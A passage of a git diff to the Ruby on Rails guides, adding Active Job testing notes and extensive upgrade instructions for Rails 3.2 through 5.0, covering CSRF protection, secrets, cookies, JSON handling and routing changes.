jobs have already been executed in the scope of each test. + +### Custom Assertions And Testing Jobs Inside Other Components + +Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html). + +It's a good practice to ensure that your jobs correctly get enqueued or performed +wherever you invoke them (e.g. inside your controllers). This is precisely where +the custom assertions provided by Active Job are pretty useful. For instance, +within a model: + +```ruby +require 'test_helper' + +class ProductTest < ActiveSupport::TestCase + test 'billing job scheduling' do + assert_enqueued_with(job: BillingJob) do + product.charge(account) + end end end ``` @@ -971,10 +1166,12 @@ end Other Testing Approaches ------------------------ -The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: +The built-in `minitest` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: * [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use. * [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures. -* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures. +* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run. +* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests. * [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions. * [RSpec](http://relishapp.com/rspec), a behavior-driven development framework +* [Capybara](http://jnicklas.github.com/capybara/), Acceptance test framework for web applications diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index b4a59fe3da..0b9f59bb46 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -1,12 +1,16 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + A Guide for Upgrading Ruby on Rails =================================== This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides. +-------------------------------------------------------------------------------- + General Advice -------------- -Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few. +Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few. ### Test Coverage @@ -16,21 +20,761 @@ The best way to be sure that your application still works after upgrading is to Rails generally stays close to the latest released Ruby version when it's released: -* Rails 3 and above requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. -* Rails 3.2.x will be the last branch to support Ruby 1.8.7. -* Rails 4 will support only Ruby 1.9.3. +* Rails 5 requires Ruby 2.2 or newer. +* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer. +* Rails 3.2.x is the last branch to support Ruby 1.8.7. +* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible. -TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. +TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. -Upgrading from Rails 3.2 to Rails 4.0 +### The Rake Task + +Rails provides the `rails:update` rake task. After updating the Rails version +in the Gemfile, run this rake task. +This will help you with the creation of new files and changes of old files in an +interactive session. + +```bash +$ rake rails:update + identical config/boot.rb + exist config + conflict config/routes.rb +Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh] + force config/routes.rb + conflict config/application.rb +Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh] + force config/application.rb + conflict config/environment.rb +... +``` + +Don't forget to review the difference, to see if there were any unexpected changes. + +Upgrading from Rails 4.2 to Rails 5.0 +------------------------------------- + +Upgrading from Rails 4.1 to Rails 4.2 +------------------------------------- + +### Web Console + +First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment. + +### Responders + +`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + respond_to :html, :json + + def show + @user = User.find(params[:id]) + respond_with @user + end +end +``` + +Instance-level `respond_to` is unaffected and does not require the additional gem: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + def show + @user = User.find(params[:id]) + respond_to do |format| + format.html + format.json { render json: @user } + end + end +end +``` + +See [#16526](https://github.com/rails/rails/pull/16526) for more details. + +### Error handling in transaction callbacks + +Currently, Active Record suppresses errors raised +within `after_rollback` or `after_commit` callbacks and only prints them to +the logs. In the next version, these errors will no longer be suppressed. +Instead, the errors will propagate normally just like in other Active +Record callbacks. + +When you define a `after_rollback` or `after_commit` callback, you +will receive a deprecation warning about this upcoming change. When +you are ready, you can opt into the new behavior and remove the +deprecation warning by adding following configuration to your +`config/application.rb`: + + config.active_record.raise_in_transactional_callbacks = true + +See [#14488](https://github.com/rails/rails/pull/14488) and +[#16537](https://github.com/rails/rails/pull/16537) for more details. + +### Ordering of test cases + +In Rails 5.0, test cases will be executed in random order by default. In +anticipation of this change, Rails 4.2 introduced a new configuration option +`active_support.test_order` for explicitly specifying the test ordering. This +allows you to either lock down the current behavior by setting the option to +`:sorted`, or opt into the future behavior by setting the option to `:random`. + +If you do not specify a value for this option, a deprecation warning will be +emitted. To avoid this, add the following line to your test environment: + +```ruby +# config/environments/test.rb +Rails.application.configure do + config.active_support.test_order = :sorted # or `:random` if you prefer +end +``` + +### Serialized attributes + +When using a custom coder (e.g. `serialize :metadata, JSON`), +assigning `nil` to a serialized attribute will save it to the database +as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"` +when using the `JSON` coder). + +### Production log level + +In Rails 5, the default log level for the production environment will be changed +to `:debug` (from `:info`). To preserve the current default, add the following +line to your `production.rb`: + +```ruby +# Set to `:info` to match the current default, or set to `:debug` to opt-into +# the future default. +config.log_level = :info +``` + +### `after_bundle` in Rails templates + +If you have a Rails template that adds all the files in version control, it +fails to add the generated binstubs because it gets executed before Bundler: + +```ruby +# template.rb +generate(:scaffold, "person name:string") +route "root to: 'people#index'" +rake("db:migrate") + +git :init +git add: "." +git commit: %Q{ -m 'Initial commit' } +``` + +You can now wrap the `git` calls in an `after_bundle` block. It will be run +after the binstubs have been generated. + +```ruby +# template.rb +generate(:scaffold, "person name:string") +route "root to: 'people#index'" +rake("db:migrate") + +after_bundle do + git :init + git add: "." + git commit: %Q{ -m 'Initial commit' } +end +``` + +### Rails HTML Sanitizer + +There's a new choice for sanitizing HTML fragments in your applications. The +venerable html-scanner approach is now officially being deprecated in favor of +[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer). + +This means the methods `sanitize`, `sanitize_css`, `strip_tags` and +`strip_links` are backed by a new implementation. + +This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which +wraps XML parsers written in both C and Java, so sanitization should be faster +no matter which Ruby version you run. + +The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for +powerful scrubbing. +[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber). + +Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`. +Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information. + +The documentation for `PermitScrubber` and `TargetScrubber` explains how you +can gain complete control over when and how elements should be stripped. + +If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile: + +```ruby +gem 'rails-deprecated_sanitizer' +``` + +### Rails DOM Testing + +The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing). + + +### Masked Authenticity Tokens + +In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account. + +### Action Mailer + +Previously, calling a mailer method on a mailer class will result in the +corresponding instance method being executed directly. With the introduction of +Active Job and `#deliver_later`, this is no longer true. In Rails 4.2, the +invocation of the instance methods are deferred until either `deliver_now` or +`deliver_later` is called. For example: + +```ruby +class Notifier < ActionMailer::Base + def notify(user, ...) + puts "Called" + mail(to: user.email, ...) + end +end + +mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point +mail = mail.deliver_now # Prints "Called" +``` + +This should not result in any noticeable differences for most applications. +However, if you need some non-mailer methods to be executed synchronously, and +you were previously relying on the synchronous proxying behavior, you should +define them as class methods on the mailer class directly: + +```ruby +class Notifier < ActionMailer::Base + def self.broadcast_notifications(users, ...) + users.each { |user| Notifier.notify(user, ...) } + end +end +``` + +Upgrading from Rails 4.0 to Rails 4.1 ------------------------------------- -NOTE: This section is a work in progress. +### CSRF protection from remote `<script>` tags + +Or, "whaaat my tests are failing!!!?" + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. This prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means that your functional and integration tests that use + +```ruby +get :index, format: :js +``` + +will now trigger CSRF protection. Switch to + +```ruby +xhr :get, :index, format: :js +``` + +to explicitly test an `XmlHttpRequest`. + +If you really mean to load JavaScript from remote `<script>` tags, skip CSRF +protection on that action. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/rails/spring#rake). + +### `config/secrets.yml` + +If you want to use the new `secrets.yml` convention to store your application's +secrets, you need to: + +1. Create a `secrets.yml` file in your `config` folder with the following content: + + ```yaml + development: + secret_key_base: + + test: + secret_key_base: + + production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> + ``` + +2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to + set the SECRET_KEY_BASE environment variable for whichever users running the + Rails application in production mode. Alternatively, you can simply copy the existing + `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml` + under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'. + +3. Remove the `secret_token.rb` initializer. + +4. Use `rake secret` to generate new keys for the `development` and `test` sections. + +5. Restart your server. + +### Changes to test helper + +If your test helper contains a call to +`ActiveRecord::Migration.check_pending!` this can be removed. The check +is now done automatically when you `require 'rails/test_help'`, although +leaving this line in your helper is not harmful in any way. + +### Cookies serializer + +Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into +the signed and encrypted cookie jars. If you want to use the new `JSON`-based format +in your application, you can add an initializer file with the following content: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :hybrid +``` + +This would transparently migrate your existing `Marshal`-serialized cookies into the +new `JSON`-based format. + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + +### Flash structure changes + +Flash message keys are +[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They +can still be accessed using either symbols or strings. Looping through the flash +will always yield string keys: + +```ruby +flash["string"] = "a string" +flash[:symbol] = "a symbol" + +# Rails < 4.1 +flash.keys # => ["string", :symbol] + +# Rails >= 4.1 +flash.keys # => ["string", "symbol"] +``` + +Make sure you are comparing Flash message keys against strings. + +### Changes in JSON handling + +There are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depend on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: 'bar' } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If your application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your Gemfile. + +#### JSON representation of Time objects + +`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`) +now returns millisecond precision by default. If you need to keep old behavior with no millisecond +precision, set the following in an initializer: + +``` +ActiveSupport::JSON::Encoding.time_precision = 0 +``` + +### Usage of `return` within inline callback blocks + +Previously, Rails allowed inline callback blocks to use `return` this way: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { return false } # BAD +end +``` + +This behavior was never intentionally supported. Due to a change in the internals +of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a +`return` statement in an inline callback block causes a `LocalJumpError` to +be raised when the callback is executed. + +Inline callback blocks using `return` can be refactored to evaluate to the +returned value: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { false } # GOOD +end +``` + +Alternatively, if `return` is preferred it is recommended to explicitly define +a method: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save :before_save_callback # GOOD + + private + def before_save_callback + return false + end +end +``` + +This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. `before_action`). + +See [this pull request](https://github.com/rails/rails/pull/13271) for more +details. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +module FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers +``` + +### I18n enforcing available locales + +Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This +means that it will make sure that all locales passed to it must be declared in +the `available_locales` list. + +To disable it (and allow I18n to accept *any* locale option) add the following +configuration to your application: + +```ruby +config.i18n.enforce_available_locales = false +``` + +Note that this option was added as a security measure, to ensure user input +cannot be used as locale information unless it is previously known. Therefore, +it's recommended not to disable this option unless you have a strong reason for +doing so. + +### Mutator methods called on Relation + +`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert +to an `Array` by calling `#to_a` before using these methods. + +It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the `Relation`. + +```ruby +# Instead of this +Author.where(name: 'Hank Moody').compact! + +# Now you have to do this +authors = Author.where(name: 'Hank Moody').to_a +authors.compact! +``` + +### Changes on Default Scopes + +Default scopes are no longer overridden by chained conditions. + +In previous versions when you defined a `default_scope` in a model +it was overridden by chained conditions in the same field. Now it +is merged like any other scope. + +Before: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +After: + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' +``` + +To get the previous behavior it is needed to explicitly remove the +`default_scope` condition using `unscoped`, `unscope`, `rewhere` or +`except`. + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { unscope(where: :state).where(state: 'active') } + scope :inactive, -> { rewhere state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' + +User.inactive +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +### Rendering content from string + +Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those +options are now the preferred way to render string-based content, as it allows +you to specify which content type you want the response sent as. + +* `render :plain` will set the content type to `text/plain` +* `render :html` will set the content type to `text/html` +* `render :body` will *not* set the content type header. + +From the security standpoint, if you don't expect to have any markup in your +response body, you should be using `render :plain` as most browsers will escape +unsafe content in the response for you. + +We will be deprecating the use of `render :text` in a future version. So please +start using the more precise `:plain`, `:html`, and `:body` options instead. +Using `render :text` may pose a security risk, as the content is sent as +`text/html`. + +### PostgreSQL json and hstore datatypes + +Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`. +In earlier versions, a `HashWithIndifferentAccess` was used. This means that +symbol access is no longer supported. This is also the case for +`store_accessors` based on top of `json` or `hstore` columns. Make sure to use +string keys consistently. + +### Explicit block use for `ActiveSupport::Callbacks` + +Rails 4.1 now expects an explicit block to be passed when calling +`ActiveSupport::Callbacks.set_callback`. This change stems from +`ActiveSupport::Callbacks` being largely rewritten for the 4.1 release. + +```ruby +# Previously in Rails 4.0 +set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff } + +# Now in Rails 4.1 +set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff } +``` + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. The following changes are meant for upgrading your application to Rails 4.0. +### HTTP PATCH + +Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful +resource is declared in `config/routes.rb`. The `update` action is still used, +and `PUT` requests will continue to be routed to the `update` action as well. +So, if you're using only the standard RESTful routes, no changes need to be made: + +```ruby +resources :users +``` + +```erb +<%= form_for @user do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update + # No change needed; PATCH will be preferred, and PUT will still work. + end +end +``` + +However, you will need to make a change if you are using `form_for` to update +a resource in conjunction with a custom route using the `PUT` HTTP method: + +```ruby +resources :users, do + put :update_name, on: :member +end +``` + +```erb +<%= form_for [ :update_name, @user ] do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update_name + # Change needed; form_for will try to use a non-existent PATCH route. + end +end +``` + +If the action is not being used in a public API and you are free to change the +HTTP method, you can update your route to use `patch` instead of `put`: + +`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are +today. So, if you have an API that gets real PUT requests it is going to work. +The router also routes `PATCH` requests to `/users/:id` to the `update` action. + +```ruby +resources :users do + patch :update_name, on: :member +end +``` + +If the action is being used in a public API and you can't change to HTTP method +being used, you can update your form to use the `PUT` method instead: + +```erb +<%= form_for [ :update_name, @user ], method: :put do |f| %> +``` + +For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/) +on the Rails blog. + +#### A note about media types + +The errata for the `PATCH` verb [specifies that a 'diff' media type should be +used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One +such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails +does not support JSON Patch natively, it's easy enough to add support: + +``` +# in your controller +def update + respond_to do |format| + format.json do + # perform a partial update + @article.update params[:article] + end + + format.json_patch do + # perform sophisticated change + end + end +end + +# In config/initializers/json_patch.rb: +Mime::Type.register 'application/json-patch+json', :json_patch +``` + +As JSON Patch was only recently made into an RFC, there aren't a lot of great +Ruby libraries yet. Aaron Patterson's +[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have +full support for the last few changes in the specification. + +### Gemfile + +Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that +line from your Gemfile when upgrading. You should also update your application +file (in `config/application.rb`): + +```ruby +# Require the gems listed in Gemfile, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(*Rails.groups) +``` + ### vendor/plugins Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. @@ -41,15 +785,58 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep * The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them. -* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information. +* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed. + +* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. -* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. +* When using the default coder, assigning `nil` to a serialized attribute will save it +to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`). + +* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path. + +* If you are not using Protected Attributes, you can remove any options related to +this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options. + +* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda: + +```ruby + scope :active, where(active: true) + + # becomes + scope :active, -> { where active: true } +``` + +* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`. + +* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`. + +* Rails 4.0 has deprecated the old-style hash based finder API. This means that + methods which previously accepted "finder options" no longer do. For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')` + +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. + Here's how you can handle the changes: + + * `find_all_by_...` becomes `where(...)`. + * `find_last_by_...` becomes `where(...).last`. + * `scoped_by_...` becomes `where(...)`. + * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`. + * `find_or_create_by_...` becomes `find_or_create_by(...)`. + +* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`. + +* These equivalent methods may not execute the same SQL as the previous implementation. + +* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). + +### Active Resource + +Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile. ### Active Model -* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail the error will be attached to `:#{attribute}_confirmation` instead of `attribute`. +* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`. -* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file: +* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file: ```ruby # Disable root element in JSON by default. @@ -60,7 +847,21 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep ### Action Pack -* There is an upgrading cookie store `UpgradeSignatureToEncryptionCookieStore` which helps you upgrading apps that use `CookieStore` to the new default `EncryptedCookieStore`. To use this `CookieStore` set `Myapp::Application.config.session_store :upgrade_signature_to_encryption_cookie_store, key: '_myapp_session'` in `config/initializers/session_store.rb`. Additionally, add `Myapp::Application.config.secret_key_base = 'some secret'` in `config/initializers/secret_token.rb`. Do not remove `Myapp::Application.config.secret_token = 'some secret'`. +* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`. + +```ruby + # config/initializers/secret_token.rb + Myapp::Application.config.secret_token = 'existing secret token' + Myapp::Application.config.secret_key_base = 'new secret key base' +``` + +Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete. + +If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns. + +* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. + +Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies. * Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature. @@ -68,8 +869,36 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep * Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_pages` in your controllers. +* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature. + +* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`. + +* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. + +* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should +instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`). +This deprecation also concerns the helpers based on this one (such as `link_to_if` +or `link_to_unless`). + * Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`. +* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`: + +```ruby + get 'one' => 'test#example', as: :example + get 'two' => 'test#example', as: :example +``` + +```ruby + resources :examples + get 'clashing/:id' => 'test#example', as: :example +``` + +In the first case, you can simply avoid using the same name for multiple +routes. In the second, you can use the `only` or `except` options provided by +the `resources` method to restrict the routes created as detailed in the +[Routing Guide](routing.html#restricting-the-routes-created). + * Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example: ```ruby @@ -82,6 +911,47 @@ becomes get 'こんにちは', controller: 'welcome', action: 'index' ``` +* Rails 4.0 requires that routes 